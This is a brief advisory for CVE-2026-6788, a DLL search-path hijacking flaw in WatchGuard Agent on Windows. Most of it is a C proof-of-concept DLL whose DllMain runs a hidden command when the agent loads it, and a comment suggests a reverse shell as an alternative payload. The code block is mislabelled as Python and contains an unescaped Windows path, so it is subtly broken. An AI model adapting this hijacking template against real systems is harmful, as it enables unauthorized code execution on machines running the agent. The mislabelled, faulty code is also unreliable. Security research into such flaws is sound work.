Uncontrolled Search Path Element vulnerability in WatchGuard Agent on Windows allows Using Malicious Files.This issue affects WatchGuard Agent before 1.25.03.0000.
The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-6788 (Uncontrolled Search Path Element)
* Compile as a DLL (e.g., malicious.dll) and place in the vulnerable path.
*/
#include <windows.h>
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Code to execute when the DLL is loaded by the vulnerable application
// Example: Spawn a calculator or reverse shell
WinExec("cmd.exe /c echo CVE-2026-6788 PoC Executed > C:\temp\poc.txt", SW_HIDE);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}